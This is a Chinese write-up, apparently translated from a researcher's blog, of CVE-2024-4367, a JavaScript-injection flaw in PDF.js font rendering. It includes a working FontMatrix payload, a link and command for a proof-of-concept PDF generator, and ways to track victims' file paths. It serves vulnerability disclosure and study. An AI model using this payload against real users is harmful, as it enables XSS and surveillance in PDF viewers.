本文详细介绍了CVE-2024-4367,这是由Codean Labs发现的PDF.js中的一个漏洞。
如果您是开发处理PDF文件的JavaScript/TypeScript应用程序的开发者,建议检查您是否(间接地)使用了易受攻击的PDF.js版本。有关缓解措施的详细信息,请参见本文末尾。
PDF.js 有两个常见的使用场景。首先,它是Firefox的内置PDF查看器。如果你使用Firefox,并且曾经下载或浏览过PDF文件,你就会看到它的运行效果。其次,它被打包成一个名为pdfjs-dist的Node模块,根据NPM的数据,每周下载量约为270万次。在这种形式下,网站可以使用它来提供嵌入式PDF预览功能。从Git托管平台到笔记应用程序,都在使用它。你现在想到的那个应用程序很可能正在使用PDF.js。
PDF格式是出了名的复杂。它支持各种媒体类型、复杂的字体渲染,甚至包括基本的脚本功能,因此PDF阅读器常常成为漏洞研究者的目标。由于需要解析的大量逻辑,难免会出现一些错误,而PDF.js也不例外。不过,与众不同的是,PDF.js是用JavaScript编写的,而不是C或C++。这意味着它没有内存损坏问题的机会,但正如我们将看到的,它也带来了自己的一系列风险。
你可能会惊讶地发现,这个漏洞并不是与PDF格式的(JavaScript!)脚本功能有关。相反,它是字体渲染代码中特定部分的一个疏忽。
PDF中的字体可以有几种不同的格式,其中一些比其他格式更晦涩(至少对我们来说是这样)。对于像TrueType这样的现代格式,PDF.js主要依赖于浏览器自身的字体渲染器。在其他情况下,它必须手动将字形(即字符)的描述转换为页面上的曲线。为了优化性能,每个字形都会预编译一个路径生成函数。如果支持,这是通过创建一个包含路径指令(jsBuf)的JavaScript函数对象来实现的:
// If we can, compile cmds into JS for MAXIMUM SPEED ...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
// eslint-disable-next-line no-new-func
console .log(jsBuf.join(""));
return (this.compiledGlyphs[character] = new Function (
"c",
"size",
jsBuf.join("")
));
}
那么,让我们看看这些命令列表是如何生成的。追踪回CompiledFont类的逻辑,我们找到了compileGlyph(…)方法。这个方法用一些通用命令(保存、变换、缩放和恢复)初始化了cmds数组,然后交由compileGlyphImpl(…)方法来填充实际的渲染命令:
compileGlyph(code, glyphId) {
if (!code || code.length === 0 || code[0] === 14) {
return NOOP;
} let fontMatrix = this.fontMatrix;
...
const cmds = [
{ cmd: "save" },
{ cmd: "transform ", args: fontMatrix.slice() },
{ cmd: "scale ", args: ["size", "-size"] },
];
this.compileGlyphImpl(code, cmds, glyphId);
cmds.push({ cmd: "restore " });
return cmds;
}
c.save();
c.transform(0.001,0,0,0.001,0,0);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();
{ cmd: "transform ", args: fontMatrix.slice() },
这个fontMatrix数组使用.slice()
fontMatrix的默认值为[0.001, 0, 0, 0.001, 0, 0]
,但通常由字体本身设置为一个自定义矩阵,也就是在其嵌入的元数据中。不同的字体格式有不同的设置方式。以下是Type1字体解析器的一个示例:
extractFontHeader(properties) {
let token;
while ((token = this.getToken()) !== null) {
if (token !== "/") {
continue ;
}
token = this.getToken();
switch (token) {
case "FontMatrix":
const matrix = this.readNumberArray();
properties.fontMatrix = matrix;
break ;
...
}
...
}
...
}
虽然Type1字体在其头部技术上可以包含任意Postscript代码,但没有哪个理智的PDF阅读器会完全支持这一点,大多数仅尝试读取预定义的键值对及其预期类型。
在这种情况下,PDF.js在遇到FontMatrix键时,只读取一个数字数组。CFF解析器(用于其他几种字体格式)在这方面也是类似的。总的来说,看起来我们确实被限制在数值范围内。
然而,事实证明,这个矩阵有不止一个潜在来源。显然,还可以在字体外部指定自定义的FontMatrix值,即在PDF的元数据对象中!仔细观察PartialEvaluator.translateFont(...)
方法,我们看到它从与字体相关的PDF字典中加载各种属性,其中之一就是fontMatrix:
const properties = {
type,
name: fontName.name,
subtype,
file: fontFile,
...
fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX,
...
bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
ascent : descriptor.get("Ascent "),
descent : descriptor.get("Descent "),
xHeight: descriptor.get("XHeight") || 0,
capHeight: descriptor.get("CapHeight") || 0,
flags : descriptor.get("Flags "),
italicAngle: descriptor.get("ItalicAngle") || 0,
...
};
在PDF格式中,字体定义由几个对象组成:Font(字体)、FontDescriptor(字体描述符)和实际的FontFile(字体文件)。例如,这里用对象1、2和3表示
1 0 obj
<<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
>>
endobj2 0 obj
<<
/Type /FontDescriptor
/FontName /FooBarFont
/FontFile 3 0 R
/ItalicAngle 0
/Flags 4
>>
endobj
3 0 obj
<<
/Length 100
>>
... (actual binary font data) ...
endobj
如果上述代码引用的字典指向Font对象,那么我们应该能够像这样定义一个自定义的FontMatrix数组:
1 0 obj
<<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
/FontMatrix [1 2 3 4 5 6] % <-----
>>
endobj
幸运的是,当使用没有内部FontMatrix定义的Type1字体时,PDF指定的值具有权威性,因为fontMatrix值不会被覆盖。
既然我们可以从PDF对象控制这个数组,那么我们就拥有了所需的所有灵活性,因为PDF支持的不仅仅是数值类型的原语。让我们尝试插入一个字符串类型的值,而不是一个数字(在PDF中,字符串用括号括起来表示):
/FontMatrix [1 2 3 4 5 (foobar)]
c.save();
c.transform(1,2,3,4,5,foobar);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
当我们试图插入 JavaScript 代码时,结果与预期一致。
你可以在这里找到一个概念验证的 PDF 文件(已更新,请参见下面的受影响版本部分)。
这样做可以防止访问本地文件,但在其他方面略微更具特权。
例如,可以通过对话框调用文件下载,甚至“下载”任意的 file:// URL
。此外,打开的 PDF 文件的实际路径存储在 window.PDFViewerApplication.url 中,这使得攻击者可以监视打开 PDF 文件的人,不仅了解他们何时打开文件以及正在做什么,还可以了解文件在他们的计算机上的位置。
在嵌入 PDF.js 的应用程序中,影响可能会更加严重。如果没有采取缓解措施(请参见下文),这基本上给了攻击者在包含 PDF 视图器的域上的 XSS 原语。
v4.2.67(于 2024 年 4 月 29 日发布):未受影响(已修复)
v4.1.392(于 2024 年 4 月 11 日发布):受影响(在此漏洞修复之前发布)
v1.10.88(于 2017 年 10 月 27 日发布):受影响(由于拼写错误修复,重新引入了安全漏洞)
v1.9.426(于 2017 年 8 月 15 日发布):未受影响(在下一个受影响版本发布之前的版本)
v1.5.188(于 2016 年 4 月 21 日发布):未受影响(通过意外的拼写错误修复了安全漏洞)
v1.4.20(于 2016 年 1 月 27 日发布):受影响(在下一个意外修复易受攻击代码的版本发布之前发布)
v0.8.1181(于 2014 年 4 月 10 日发布):受影响(PDF.js 的第一个公开版本)
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放
2024年4月26日 – 漏洞向 Mozilla 披露
2024年4月29日 – PDF.js v4.2.67 发布到 NPM,修复了该问题
2024年5月14日 – 发布了包含已修复的 PDF.js 版本的 Firefox 126、Firefox ESR 115.11 和 Thunderbird 115.11
2024年5月20日 – 发布了这篇博文
2024年5月22日 – 添加了详细的版本信息并更新了 PoC,由
漏洞POC:
https://github.com/s4vvysec/CVE-2024-4367-POC
git clone https://github.com/s4vvysec/CVE-2024-4367-POC.git
python3 poc.py malicious.pdf "alert \(document .domain \)"
低于火狐12.6(最新版本)的直接可以触发,作用域和上文提到的一样,是在 resource://pdf.js
下面的所以是无法跨域读取到cookie的,但是呢,我们可以投放pdf利用读取 window.PDFViewerApplication
下面的信息来监控别人从哪里读取的pdf文件,如果用file://协议那么就会泄漏计算机的文件路径。
这个漏洞对于安全研究者来说还是很有学习意义的,提供一个比较好的通用组件挖掘思路,后面可以继续深入下。
Thanks for: https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/